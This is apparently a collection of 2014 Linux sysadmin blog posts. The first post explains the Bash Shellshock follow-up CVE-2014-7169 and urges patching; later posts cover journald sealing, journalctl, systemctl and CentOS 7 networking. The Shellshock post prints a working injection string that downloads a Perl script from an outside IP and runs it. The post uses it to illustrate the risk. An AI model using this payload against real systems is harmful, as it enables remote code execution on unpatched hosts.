Why is CVE-2014-7169 is important and you should patch your system

Recently I have come across this link and read about it. Before we go into the details. Let's understand what is it.

From Red Hat errata https://rhn.redhat.com/errata/RHSA-2014-1306.html

It was found that the fix for CVE-2014-6271 was incomplete, and Bash still
allowed certain characters to be injected into other environments via
specially crafted environment variables. An attacker could potentially use
this flaw to override or bypass environment restrictions to execute shell
commands. Certain services and applications allow remote unauthenticated
attackers to provide environment variables, allowing them to exploit this
issue. (CVE-2014-7169)

So let's check my system. Hmm.. my local host is affected :-)

jason@localhost:~$ env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
vulnerable
this is a test
jason@localhost:~$ whoami
jason

But what is this important? the user still using his own privileged. It turn out to be this exploit allow remote attacker to execute the script remotely. Let's change the script a bit.

() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur"

See the point? Does it look scarry? A remote script is downloaded to your system, and execute it. So any local services that use shell for interpretation basically is vulnerable and you should patch bash as soon as possible. As of this moment of writing, the patch is out. In CentOS 7, the patched is included in the package bash-4.2.45-5.el7_0.4.x86_64. Read the changelog below.

* Thu Sep 25 2014 Ondrej Oprala <ooprala@redhat.com> - 4.2.45-5.4
- CVE-2014-7169
  Resolves: #1146324

Below are some service which uses bash and if your system use some of it, you should know what to do.

• ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.


• Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in Bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string).


• PHP scripts executed with mod_php are not affected even if they spawn subshells.


• DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.


• Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.


• Any other application which is hooked onto a shell or runs a shell script as using Bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.

Thanks, that's it for this article. Be good and stay safe.

Enable FSS in journald and verify using journalctl

Last we learned the basic of journalctl, today we will enable FSS in journald.

Forward Secure Sealing or FSS allows application to cryptographically "seal" the system logs in regular time intervals, so that if your machine is hacked the attacker cannot alter log history (but can still entirely delete it). It works by generating a key pair of "sealing key" and "verification key".

read more at https://eprint.iacr.org/2013/397

Okay, let's set it up. With this, we will use CentOS 7 for learning.

As root, let's setup the keys.

[root@centos7-test1 ~]# journalctl --setup-keys
/var/log/journal is not a directory, must be using persistent logging for FSS.

Hmm.. not possible because /run is mounted on tmpfs. We will now enable persistent storage for journald.

1. as root, create directory # mkdir -p /var/log/journal 


2. edit /etc/systemd/journald.conf and uncomment the following.
   
   
   
   1. Storage=persistence
   
   
   2. Seal=yes
   
   
   
   


3. restart journald using command systemctl restart systemd-journald 


4. Rerun command journalctl --setup-keys. See screenshot below.
   


5. Now we verify the log using command
   

   [root@centos7-test1 ~]# journalctl --verify
   PASS: /var/log/journal/e25a4e0b618f43879af033a74902d0af/system.journal

   
   

Looks good. Although I am not sure what is the verify-key as different verify key is used, it is always passed. Probably it will be fail if the logging is tampered.

Study journalctl in CentOS 7

In CentOS 7, the new systemd has a new journaling app, known as journalctl. Today, we will study journalctl. First, what is journalctl?

journalctl is a client app to query the systemd journal. Systemd journal is written by systemd-journald.service.

Let's sudo into root and we will study journalctl via examples.

[user@localhost ~]$ sudo su -
Last login: Sat Sep 13 11:57:55 CEST 2014 on pts/0
[user@localhost ~]# journalctl 
-- Logs begin at Mon 2014-09-01 14:57:19 CEST, end at Mon 2014-09-15 10:52:52 CEST. --
Sep 01 14:57:19 localhost systemd-journal[146]: Runtime journal is using 8.0M (max 2.3G, leaving 3.5G of free 23.4G, current limit 2.3G).
Sep 01 14:57:19 localhost systemd-journal[146]: Runtime journal is using 8.0M (max 2.3G, leaving 3.5G of free 23.4G, current limit 2.3G).
Sep 01 14:57:19 localhost kernel: Initializing cgroup subsys cpuset
Sep 01 14:57:19 localhost kernel: Initializing cgroup subsys cpu
Sep 01 14:57:19 localhost kernel: Initializing cgroup subsys cpuacct
Sep 01 14:57:19 localhost kernel: Linux version 3.10.0-123.6.3.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GC
Sep 01 14:57:19 localhost kernel: Command line: BOOT_IMAGE=/vmlinuz-3.10.0-123.6.3.el7.x86_64 root=UUID=bbbbbbbb-7777-465a-993a-888888888888 ro nomodeset rd.a
Sep 01 14:57:19 localhost kernel: e820: BIOS-provided physical RAM map:
...
...
...
Sep 15 10:57:00 foo.example.com sshd[23533]: Received disconnect from 123.123.123.123: 11: disconnected by user
Sep 15 10:57:00 foo.example.com systemd-logind[1161]: Removed session 9773.
Sep 15 10:59:04 foo.example.com sshd[23813]: Accepted publickey for foobar from 132.132.132.132 port 36843 ssh2: RSA 68:68:68:68:68:86:68:68:68:68:68:68:0
Sep 15 10:59:04 foo.example.com systemd[1]: Created slice user-1005.slice.
Sep 15 10:59:04 foo.example.com systemd[1]: Starting Session 9774 of user foobar.
Sep 15 10:59:04 foo.example.com systemd-logind[1161]: New session 9774 of user foobar.
Sep 15 10:59:04 foo.example.com systemd[1]: Started Session 9774 of user foobar.
Sep 15 10:59:04 foo.example.com sshd[23813]: pam_unix(sshd:session): session opened for user foobar by (uid=0)
lines 53881-53917/53917 (END)

As you may noticed, journalctl show all the logging since the system was booted until at this moment. So there are a lot of lines and data to be interpreted. So you might want to look into the parameters accepted for this application.

If you want to show most recent log, give -r. This will reverse the ordering by showing newest entries first. If you want to show newest ten lines, give -n as a parameter. Example journalctl -r -n 10

To show how much all these log take the disk space, give --disk-usage. Note that journal logs are stored in the directory /run/log/journal and not /var/log.

If you want to show only log from a unit(service), give --unit. Example journalctl --unit=sshd will show logging for sshd only. Very neat!

Sometime you just want to monitor a certain range of date and/or time. You can append parameter --since and --until. Example journalctl --since="2014-09-14 01:00:00" --until="2014-09-14 02:00:00" it will show all journal within that duration of 1hour. I think this is really good for system monitoring, system support or even during finding trace of compromised system.

If you want the journal logs to appear in web interface, you can format the logging to a format the web application supported. As of this time of writing, journalctl supported the following format.

short	is the default and generates an output that is mostly identical to the formatting of classic syslog files, showing one line per journal entry.
short-iso	is very similar, but shows ISO 8601 wallclock timestamps.
short-precise	is very similar, but shows timestamps with full microsecond precision.
short-monotonic	is very similar, but shows monotonic timestamps instead of wallclock timestamps.
verbose	shows the full-structured entry items with all fields.
export	serializes the journal into a binary (but mostly text-based) stream suitable for backups and network transfer (see Journal Export Format[1] for more information).
json	formats entries as JSON data structures, one per line (see Journal JSON Format[2] for more information).
json-pretty	formats entries as JSON data structures, but formats them in multiple lines in order to make them more readable for humans.
json-sse	formats entries as JSON data structures, but wraps them in a format suitable for Server-Sent Events[3].
cat	generates a very terse output only showing the actual message of each journal entry with no meta data, not even a timestamp.

json would probably comes in mind to display the logging on web interface.

There is also a feature known as Foward Secure Sealing where the log will be encrypted using a sealing key and the log can be verified using a verification key. You can check on parameter such as, --setup-keys --interval --verify --verify-key. We won't cover FFS in this article, perhaps sometime in the future, I will devote an article on how to set this up.

There are also many other good option that help you analyze the log using different strategy like -b, -p and logical operator but that this article should be able to give you a head start. You can find more information through journalctl manual.

transition from sysV to systemd, from chkconfig to systemctl

If you have just been installed CentOS 7.0 and as usual, command chkconfig is executed
to list what processes will be start on boot. As seen below:

[root@localhost ~]# chkconfig

Note: This output shows SysV services only and does not include native
      systemd services. SysV configuration data might be overridden by native
      systemd configuration.

      If you want to list systemd services use 'systemctl list-unit-files'.
      To see services enabled on particular target use
      'systemctl list-dependencies [target]'.

iprdump        	0:off	1:off	2:on	3:on	4:on	5:on	6:off
iprinit        	0:off	1:off	2:on	3:on	4:on	5:on	6:off
iprupdate      	0:off	1:off	2:on	3:on	4:on	5:on	6:off
network        	0:off	1:off	2:on	3:on	4:on	5:on	6:off
tomcat        	0:off	1:off	2:off	3:off	4:off	5:off	6:off

That's odd, something has changed. For your information, sysV has been replaced in favor of systemd and today we are going to learn what is systemd is. So what is systemd ?

systemd is a system and service manager for Linux, compatible with SysV and LSB init scripts. systemd provides aggressive parallelization capabilities, uses socket and D-Bus activation for starting services, offers on-demand starting of daemons, keeps track of processes using Linux cgroups, supports snapshotting and restoring of the system state, maintains mount and automount points and implements an elaborate transactional dependency-based service control logic. It can work as a drop-in replacement for sysvinit. 

That is a very lengthy definition. If you are still not so sure, perhaps take a moment to watch a video here.



Because there are a lot of documentations in the google to explain what is systemd in details, but this article will target busy people who need the solution right now. As such, if you want more details solutions, you should google or read a few helpful links below.

• http://en.wikipedia.org/wiki/Systemd


• https://fedoraproject.org/wiki/Systemd


• https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet


• https://www.linux.com/learn/tutorials/527639-managing-services-on-linux-with-systemd

So why replace sysV with systemd? What have been improved?

Lennart Poettering and Kay Sievers, the software engineers who initially developed systemd,[1] sought to surpass the efficiency of the init daemon in several ways. They wanted to improve the software framework for expressing dependencies; to allow more processing to be done concurrently or in parallel during system booting; and to reduce the computational overhead of the shell.

Systemd's initialization instructions for each daemon are recorded in a declarative configuration file rather than a shell script. For inter-process communication, systemd makes Unix domain sockets and D-Bus available to the running daemons. Systemd is also capable of aggressive parallelization.

There are several tools to manage systemd.

• systemctl:
  used to introspect and control the state of the systemd system and service manager


• systemd-cgls:
  recursively shows the contents of the selected Linux control group hierarchy in a tree


• systemadm:
  a graphical frontend for the systemd system and service manager that allows introspection and control of systemd. Part of the systemd-gtk package. This is an early version and needs more work. Do not use it for now unless you are a developer.

Below are a table to summarize what you usually done in chkconfig and in systemd, what command you can use as a replacement.

Sysvinit Command	Systemd Command	Notes
service frobozz start	systemctl start frobozz.service	Used to start a service (not reboot persistent)
service frobozz stop	systemctl stop frobozz.service	Used to stop a service (not reboot persistent)
service frobozz restart	systemctl restart frobozz.service	Used to stop and then start a service
service frobozz reload	systemctl reload frobozz.service	When supported, reloads the config file without interrupting pending operations.
service frobozz condrestart	systemctl condrestart frobozz.service	Restarts if the service is already running.
service frobozz status	systemctl status frobozz.service	Tells whether a service is currently running.
ls /etc/rc.d/init.d/	systemctl list-unit-files --type=service (preferred) ls /lib/systemd/system/*.service /etc/systemd/system/*.service	Used to list the services that can be started or stopped Used to list all the services and other units
chkconfig frobozz on	systemctl enable frobozz.service	Turn the service on, for start at next boot, or other trigger.
chkconfig frobozz off	systemctl disable frobozz.service	Turn the service off for the next reboot, or any other trigger.
chkconfig frobozz	systemctl is-enabled frobozz.service	Used to check whether a service is configured to start or not in the current environment.
chkconfig --list	systemctl list-unit-files --type=service(preferred) ls /etc/systemd/system/*.wants/	Print a table of services that lists which runlevels each is configured on or off
chkconfig frobozz --list	ls /etc/systemd/system/*.wants/frobozz.service	Used to list what levels this service is configured on or off
chkconfig frobozz --add	systemctl daemon-reload	Used when you create a new service file or modify any configuration

Runlevels/targets

Systemd has a concept of targets which serve a similar purpose as runlevels but act a little different. Each target is named instead of numbered and is intended to serve a specific purpose.

Sysvinit Runlevel	Systemd Target	Notes
0	runlevel0.target, poweroff.target	Halt the system.
1, s, single	runlevel1.target, rescue.target	Single user mode.
2, 4	runlevel2.target, runlevel4.target, multi-user.target	User-defined/Site-specific runlevels. By default, identical to 3.
3	runlevel3.target, multi-user.target	Multi-user, non-graphical. Users can usually login via multiple consoles or via the network.
5	runlevel5.target, graphical.target	Multi-user, graphical. Usually has all the services of runlevel 3 plus a graphical login.
6	runlevel6.target, reboot.target	Reboot
emergency	emergency.target	Emergency shell

Below are a summarize the command you will (hopefully) use.

• systemctl isolate multi-user.target
  To change the target/runlevel, to switch to runlevel 3


• systemctl set-default <name of target>.target
  graphical.target is the default. You might want multi-user.target for the equivalent of non graphical (runlevel 3) from sysv init.


• systemctl get-default
  to show the currentl target/runlevel

Note, there are several changes you should keep in mind.
* systemd does not use /etc/inittab file.
* change number of gettys in /etc/systemd/logind.conf
* unit files are now store in /usr/lib/systemd/system/

That's it, I hope you get a basic understanding and will be able to start using systemd.

Understand basic network configuration in CentOS 7

With the recent release of CentOS7, today we are going to check out the basic network configuration. My usual quick command, ifconfig.

[root@localhost ~]# ifconfig
-bash: ifconfig: command not found

it seem like ifconfig is not longer there, note that if you do upgrade from centos 6.x , you should be aware of this. If you are going to configure network interface, start to get familiar to command ip. But if you want command ifconfig, you can still install the package net-tools.

Let's restart network interface.

[root@centos7-test1 network-scripts]# service network restart
Restarting network (via systemctl):                        [  OK  ]
[root@centos7-test1 network-scripts]# service network status
Configured devices:
lo eth0
Currently active devices:
lo eth0
[root@centos7-test1 init.d]# systemctl restart network
[root@centos7-test1 init.d]# systemctl status network
network.service - LSB: Bring up/down networking
   Loaded: loaded (/etc/rc.d/init.d/network)
   Active: active (exited) since Tue 2014-07-15 14:33:28 CEST; 13s ago
  Process: 11597 ExecStop=/etc/rc.d/init.d/network stop (code=exited, status=0/SUCCESS)
  Process: 11753 ExecStart=/etc/rc.d/init.d/network start (code=exited, status=0/SUCCESS)

Jul 15 14:33:27 centos7-test1 network[11753]: Bringing up loopback interface:  Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'
Jul 15 14:33:27 centos7-test1 network[11753]: Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'
Jul 15 14:33:27 centos7-test1 network[11753]: Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'
Jul 15 14:33:28 centos7-test1 network[11753]: Could not load file '/etc/sysconfig/network-scripts/ifcfg-lo'
Jul 15 14:33:28 centos7-test1 network[11753]: [  OK  ]
Jul 15 14:33:28 centos7-test1 network[11753]: Bringing up interface eth0:  Connection successfully activated (D-Bus active path: /org/...tion/3)
Jul 15 14:33:28 centos7-test1 network[11753]: [  OK  ]
Jul 15 14:33:28 centos7-test1 systemd[1]: Started LSB: Bring up/down networking.
Hint: Some lines were ellipsized, use -l to show in full.

Noticed that service manager now is done via systemctl, C7 is using systemctl in replace of SysV.  Also notice configuration file for ifcfg-lo is not loadable? This issue has been file here.

Upstream has changed the default networking service is provided by NetworkManager, which is a dynamic network control and configuration daemon that attempts to keep network devices and connections up and active when they are available.

If it does not install for any reason (which it should not because it comes with predefault installation), you can follow these commands

# # install it
# yum install NetworkManager
# # ensure network manager service is started everything system boot up.
# systemctl enable NetworkManager
# # manual start for now.
# systemctl start NetworkManager
# # check the status.
[root@centos7-test1 ~]# systemctl status NetworkManager
NetworkManager.service - Network Manager
   Loaded: loaded (/usr/lib/systemd/system/NetworkManager.service; enabled)
   Active: active (running) since Tue 2014-07-15 13:39:18 CEST; 3h 40min ago
 Main PID: 679 (NetworkManager)
   CGroup: /system.slice/NetworkManager.service
           ├─  679 /usr/sbin/NetworkManager --no-daemon
           └─11896 /sbin/dhclient -d -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-55911be2-9763-471f...

Jul 15 17:05:21 centos7-test1 NetworkManager[679]: bound to 192.168.0.116 -- renewal in 3581 seconds.
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info> (eth0): DHCPv4 state changed renew -> renew
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   address 192.168.0.116
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   plen 24 (255.255.255.0)
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   gateway 192.168.0.1
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   server identifier 192.168.0.1
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   lease time 7200
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   nameserver '192.168.0.1'
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   nameserver '8.8.8.8'
Jul 15 17:05:21 centos7-test1 NetworkManager[679]: <info>   domain name 'PowerRanger'

If you are configuring manually remotely, you can use command nmtui. nmtui is a simple curses-based text user interface. But if you want to configure interface using script, better still to use command ip or nmcli. For more information, you can read here.

That's it for this article. I would like to thank my buddy for kind enough to let me ssh and study centos 7 in his host. :) you know who you are! dankeschon!

CentOS 7 released and checking out release notes

I'm always a big fan and user of CentOS. Started using CentOS 4 and it is very stables and secure for company servers usage. With the current release of CentOS 7, it is definitely worth while to check in out the release note.

It is definitely encourage to see that, for the first time, major upgrade between major CentOS is possible now.

The install media is splited such that it comes with the window managers. For server installation, you should really go using net install.

These are some major changes which should be noticeable. Like Wow!

• Kernel updated to 3.10.0


• Support for Linux Containers


• Open VMware Tools and 3D graphics drivers out of the box


• OpenJDK-7 as default JDK


• In Place Upgrade from 6.5 to 7.0 (as already mentioned)


• Switch to systemd, firewalld and GRUB2


• XFS as default file system


• iSCSI and FCoE in kernel space


• Support for PTPv2


• Support for 40G Ethernet Cards


• Supports installations in UEFI Secure Boot mode on compatible hardware

There are some known issues which you should really consider if you are doing upgrade and make sure you are well prepare.
network - Many people have complained that Ethernet interfaces are not started with the new default NetworkManager tool/have to be explicitly enabled during installation. See CentOS-7 FAQ#2.
installer memory usage - The installer needs at least 406MB of memory to work. On systems with less memory then 406MB the installation will terminate with a fatal error. 512MB is the minimum memory requirement for CentOS-7.
small screen - If your screen resolution is 800x600 or lower, parts of the images shown at the bottom during install are clipped. So watch up on the next,back and cancel buttons.
So I think this is a brief summary to get you started but you can find more at here.